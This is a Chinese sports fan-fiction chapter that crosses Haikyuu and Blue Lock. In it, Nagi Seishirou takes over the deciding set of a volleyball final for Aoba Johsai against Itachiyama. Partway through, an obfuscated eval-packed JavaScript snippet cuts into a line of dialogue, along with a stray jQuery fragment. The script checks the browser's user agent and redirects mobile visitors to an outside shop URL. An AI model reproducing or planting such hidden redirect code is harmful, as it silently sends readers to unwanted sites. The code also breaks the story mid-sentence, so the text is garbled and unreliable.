第三局开始前,体育馆里的声音反而低了下去。
所有人都知道,这一局才是真正的决胜局。
第一局,青叶城西输了。
不是输得难看,而是输得让人说不出话。
井闼山学院太稳了。
他们没有夸张的情绪,没有多余的失误,也没有给青城留下太多可以抓住的漏洞。无论及川彻怎样调度,无论岩泉一怎样强攻,无论凪诚士郎怎样用那些漂亮到不像高中生的处理球去撕扯防线,井闼山都像一张提前铺好的网,把他们一次又一次兜回去。
第二局,青城赢了。
可赢得很难。
难到最后一球落地时,场上没有人第一时间欢呼。
他们只是弯下腰,大口喘气。
那一局像是硬生生从井闼山手里抢出来的。
及川彻的手指在发麻,岩泉一的肩膀已经沉得抬不起来,国见英几乎是靠意志在补位,渡亲治的手臂红了一片。
至于凪诚士郎——他坐在休息区,垂着眼,汗顺着发尾往下滴。
看起来还是那副懒洋洋的样子。
可只有青城的人知道,井闼山从第二局后半段开始,几乎把所有针对都压在了他身上。
发球找他。
拦网封他。
后排等他。
甚至连他不参与进攻的时候,井闼山的防守重心也会微妙地偏向他。
他们把他当成了青城最不稳定、也最危险的变量。
所以第三局开始前,几乎所有人都以为,这会是一局焦灼到最后的比赛。
井闼山会继续压凪诚士郎。
青城会继续艰难地寻找突破口。
双方会一分一分地咬住,直到最后,由某一个极限球决定胜负。
井闼山的教练也是这么想的。
他站在场边,声音冷静:“继续压凪诚士郎。不要给他舒服的起跳点。”
队员们点头。
他们已经证明过,这种策略有效。
凪诚士郎确实是天才。
可天才也会累。
天才也会被限制。
只要继续拖下去,先露出破绽的,一定是青叶城西。
裁判哨声响起。
第三局开始。
井闼山发球。
球被高高抛起,旋转着越过球网,落点极深,直冲青城后场。
渡亲治正要上前,却听见旁边传来一道平淡的声音。
“我来。”
凪诚士郎向前一步。
他接得太稳了。
稳到不像是被针对后的被迫接发,而像他原本就站在那里等这颗球。
球高高飞起,落向及川彻头顶。
及川彻指尖一顿。
太舒服了。
这颗一传舒服得让他甚至有一瞬间的意外。
下一秒,他已经抬手托球。
球给到岩泉一。
岩泉一强攻,井闼山拦网触球,后排救起。
井闼山反击。
球给到佐久早圣臣。
佐久早起跳,手腕压下去的瞬间,球路诡异地偏转,擦过拦网指尖,坠向青城后场。
这球很难接。
角度刁,速度快,落点又深。
青城后排有半秒迟疑。
可凪诚士郎已经动了。
他没有狼狈地扑出去,只是向侧后方跨了一步,身体压低,手臂抬起。
“砰。”
球被垫起。不高不低。
又正好落向及川彻。
看台上,有人低低吸了一口气。
及川彻抬头。
这一瞬间,他忽然意识到,凪不是反应快。
他是提前判断到了。
及川彻托球。
这一次,球飞向凪诚士郎。
井闼山的拦网立刻成型。
他们等的就是这个。
第一局和第二局里,凪诚士郎已经展示过太多让人头疼的技术。
吊球,借手,变线,轻打。
所以井闼山的前排没有贸然封死,而是留了反应空间,后排也提前站住他最喜欢的落点。
所有人都等着他用技巧。
可凪诚士郎没有。
他起跳后,只是抬起手臂。
手掌压下。
“砰——!”
球撞上拦网指尖,硬生生压了过去。
落地。
1:0。
青城先得分。
体育馆安静了一瞬。
井闼山前排队员落地后,下意识看了一眼自己的手。
手指发麻。
刚才那一下,和前两局完全不一样。
前两局的凪诚士郎像一把锋利又轻巧的刀,危险,但还能判断刀刃会从哪里划过来。
可这一球——他没有绕。
他直接砸穿了。
青城那边,及川彻盯着凪诚士郎看了两秒,忽然笑了。
“凪酱。”
凪诚士郎转头。
及川彻问:“你是不是稍微有点生气了?”
凪诚士郎慢吞吞眨了一下眼。
“没有。”
“骗人。”
“真的没有。”
他说完,视线越过球网,看向井闼山。
灯光落进他浅色的眼睛里,平时总显得懒散的神情,第一次变得安静而锋利。
“只是觉得,输了会很烦。”
下一球,井闼山继续发向凪诚士郎。
还是压迫。
还是针对。
球落得很刁,逼得凪接完后几乎没有助跑空间。
可凪诚士郎接起后,没有立刻退开。
他看着井闼山的站位。
像是在看一张正在展开的图。
及川彻把球给到国见英。
国见轻打,井闼山救起。
反击又来。
佐久早再次起跳。
这一次,他没有打之前那条线,而是把球拧向了更深的边角。
很多人都以为那球要出界。
凪诚士郎却向后退了一步。
伸手。
“砰。”
球被接起。
界内。
影山飞雄在观众席上猛地皱眉。
日向翔阳扒着栏杆:“他刚刚怎么知道那球不会出界?”
影山没有回答。
因为答案很简单,也很可怕。
凪诚士郎不是看见球落地才判断的。
他是在佐久早挥臂的一瞬间,就读出了球的路线。
井闼山组织回防。
及川彻再次站到球下。
凪诚士郎开始助跑。
他没有喊。
可及川彻的球已经托了出去。
高。
快。
刚好抵达他最舒服的击球点。
井闼山三人拦网再次成型。
后排防守铺开。
他们盯着凪诚士郎的手腕,等他的变化。
可凪诚士郎在空中只看了一眼。
然后,手腕轻轻一压。
球擦过拦网最高点的指尖,带着不可思议的下坠,落在前后排之间那条窄到几乎不存在的缝隙里。
2:0。
井闼山自由人扑出去,只差一点。
真的只差一点。
可球已经落地。
场边,井闼山教练的脸色终于变了。
不是力量变了。
也不是技巧变了。
是判断变了。
凪诚士郎正在比赛里重新理解井闼山。
他们以为自己用两局比赛看穿了他。
可第三局一开始,凪诚士郎就把前两局所有被针对、被限制、被逼迫的球,全都变成了自己的东西。
他在进化。
真正意义上的进化。
比分来到5:2。
井闼山请求暂停。
这个暂停来得很早,早到观众席都发出一阵意外的低呼。
井闼山的队员围在一起,气氛却不像前两局那样平稳。
教练沉声道:“不要再用第二局的方式判断他。发球可以继续压,但拦网不能等他的技术球,后排注意重扣落点。”
佐久早圣臣站在人群边缘,抬眼看向青城。
凪诚士郎正坐在椅子上喝水。
喝得很慢。
像还是觉得比赛很麻烦。
可佐久早很清楚,不一样了。
第三局的凪诚士郎,已经不是第二局那个被他们逐渐摸到规律的一年级。
他站在那里,场上的空气就不自觉向他倾斜。
暂停结束。
井闼山开始反扑。
他们不愧是全国顶级强队,调整极快。
发球不再单纯追着凪打,而是开始牵扯青城整体站位。
青城一传偏了。
及川彻追到网边,把球托回。
这不是一个舒服的球。
高度不够,位置也偏。
井闼山判断,这球大概率会给岩泉一,或者只是处理过网。
可球飞向了后排。
凪诚士郎从三米线后起跳。
井闼山双人拦网跟上。
凪在空中停了一拍。
像是故意等拦网手完全伸出去。
然后,他把球打在外侧指尖。
弹出界外。
6:2。
青城继续得分。
场边的其他学校选手已经有人忍不住站直了身体。
“这家伙……真的是一年级?”
“不对吧,他之前是这种类型吗?”
“他像是在第三局突然把比赛接管了。”
接管。
这个词一出现,就再也压不下去。
因为所有人都看见了。
凪诚士郎不是每一球都得分。
可每一球都和他有关。
他接起不该接起的球。
逼迫井闼山改变进攻选择。
牵制拦网,让及川彻拥有更多调度空间。
甚至当他没有参与进攻时,井闼山也必须分出人去盯他。
他的存在,正在改变整场比赛的重心。
比分被井闼山追到10:8。
又追到12:11。
青城没有轻松。
全国决赛不可能轻松。
佐久早圣臣的状态也被凪彻底逼了出来,他的扣球越来越刁钻,每一球都像贴着防线切过去的刀。
可青城没有退。
岩泉一一次次强攻。
国见英咬牙补位。
渡亲治扑到手臂发红。
及川彻奔跑在球场的每一个角落。
而凪诚士郎越来越安静。
越到关键分,他越安静。
安静得让人觉得可怕。
比分来到18:16。
青城领先两分。
井闼山发球。
球冲向凪诚士郎。
凪接起,但被冲得偏了一点。
及川彻追过去,几乎跑到场边才把球托回来。
“凪!”
这不是一颗好球。
甚至可以说很糟糕。
高度低,角度偏,井闼山拦网已经等在前面。
所有人都以为凪诚士郎会处理过去。
可他开始助跑。
一步。
两步。
第三步踏下时,地板发出沉闷的声响。
他起跳。
在几乎没有完整挥臂空间的位置,硬生生把身体拧开。
球来到眼前。
井闼山三人封网。
凪诚士郎却没有躲。
他挥臂。
“砰——!”
球从拦网之间极窄的缝隙里穿过去。
落地。
19:16。
全场爆发出一阵惊呼。
及川彻站在场边,怔了一下,然后低低笑出声。
“真是的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511882|202173||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
岩泉一喘着气看他:“你笑什么?”
及川彻抬起头,眼睛亮得惊人。
“他不想输。”
岩泉一看向凪诚士郎。
凪落地后,低头活动了一下发疼的手腕。
系统在他脑子里小声说:【宿主,你不是嫌冠军麻烦吗?】
凪诚士郎抬眼,看向记分牌。
“是很麻烦。”
【那你还这么拼?】
凪诚士郎沉默了一下。
体育馆很吵。
灯光很亮。
身体很累。
每一次起跳都像在把力气往外榨。
可是他看见及川彻,看见岩泉一,看见青城所有人都还站在那里。
也看见网对面的井闼山。
很强。
强得很麻烦。
麻烦到如果想赢,就必须比他们更强。
于是他说:
“冠军什么的很麻烦唉。”
声音很轻。
却被旁边的及川彻听见了。
凪诚士郎顿了顿,继续道:
“不过,我只是不想输啊。”
及川彻怔住。
下一秒,他笑了。
“好啊。”
他说。
“那就别输。”
最后阶段,井闼山疯狂反扑。
20:18。
21:20。
22:21。
他们一点点咬回来,像绝不肯松口的野兽。
可每一次井闼山快要追平,凪诚士郎都会把球接起来。
或者打下去。
他不是在逞英雄。
他像终于学会了如何支配自己的天赋。
不再只是凭感觉打球。
不再只是复现别人。
而是把所有观察、判断、身体能力和球感揉在一起,变成属于自己的进攻。
比分来到24:22。
青城赛点。
井闼山发球。
球过网。
渡亲治接起。
及川彻站到球下。
这一刻,所有人都以为球会给凪诚士郎。
井闼山也是。
他们的拦网下意识向凪那边偏移。
佐久早的目光也锁住了他。
凪诚士郎开始助跑。
像是最后一球一定由他来结束。
可及川彻的手腕忽然一转。
球飞向四号位。
岩泉一。
井闼山拦网慢了半拍。
岩泉一高高跃起,毫不犹豫挥臂。
“砰——!”
打手出界。
裁判哨响。
25:22。
第三局结束。
比赛结束。
青叶城西胜。
体育馆寂静了一秒。
然后,欢呼声轰然炸开。
“青城赢了!!!”
“全国冠军!!!”
“青叶城西是冠军!!!”
及川彻冲向岩泉一,狠狠抱住他。
“小岩!!我们赢了!!”
“滚开!热死了!”
岩泉一嘴上骂着,却没有推开他。
金田一喊到破音,花卷和松川笑着撞在一起,国见英累得几乎站不住,却还是抬头看向记分牌。
青叶城西,胜。
全国冠军。
凪诚士郎站在人群外,低头看了看自己的手。
疼。
腿也疼。
肩膀也疼。
浑身上下都像被拆开过一遍。
系统轻声说:【宿主,你赢了。】
凪诚士郎抬头。
体育馆的灯光亮得刺眼。
欢呼声很吵。
比赛很累。
冠军也确实很麻烦。
可是这一次,他没有觉得讨厌。
及川彻回头朝他喊:
“凪酱!”
凪诚士郎看过去。
及川彻站在人群里,眼眶发红,却笑得张扬又漂亮。
“我们是冠军了!”
凪诚士郎沉默了一下。
然后,他慢吞吞地走过去。
队友们向他涌来。
有人拍他的背,有人揉他的头发,有人大声喊他的名字。
场边,井闼山的教练看着这一幕,沉默了很久。
他执教过太多优秀的选手。
稳定的,强悍的,冷静的,天赋异禀的。
也见过无数少年在全国赛场上被压力压垮,或者在某一个瞬间突破自己。
可凪诚士郎不一样。
他不是在这场比赛里“发挥得很好”。
也不是单纯地抓住了某个机会。
他是在所有人眼前,把井闼山两局比赛里建立起来的判断,一点一点拆碎,然后踩着那些限制,走到了更高的地方。
第三局,井闼山没有崩。
他们只是拦不住一个正在进化的天才。
助教站在旁边,声音很轻:“教练……”
井闼山的教练没有立刻回答。
他的目光越过球网,落在那个被青叶城西众人围住的白发少年身上。
灯光太亮了。
亮得像所有人的视线都不得不向那里聚拢。
过了很久,他才缓缓吐出一口气。
那声音像叹息,又像某种承认。
“真正的……”
他顿了顿。
“怪物啊。”
佐久早圣臣站在网前,没有说话。
最后一球不是凪诚士郎打下去的。
可所有人都知道,井闼山输掉的,并不只是最后一球。
他们输给了一个在第三局真正接管比赛的怪物。
一个明明说着“冠军很麻烦”,却用整整一局告诉所有人——
他不想输。
而当天才开始不想输时。
全世界都会为他让路。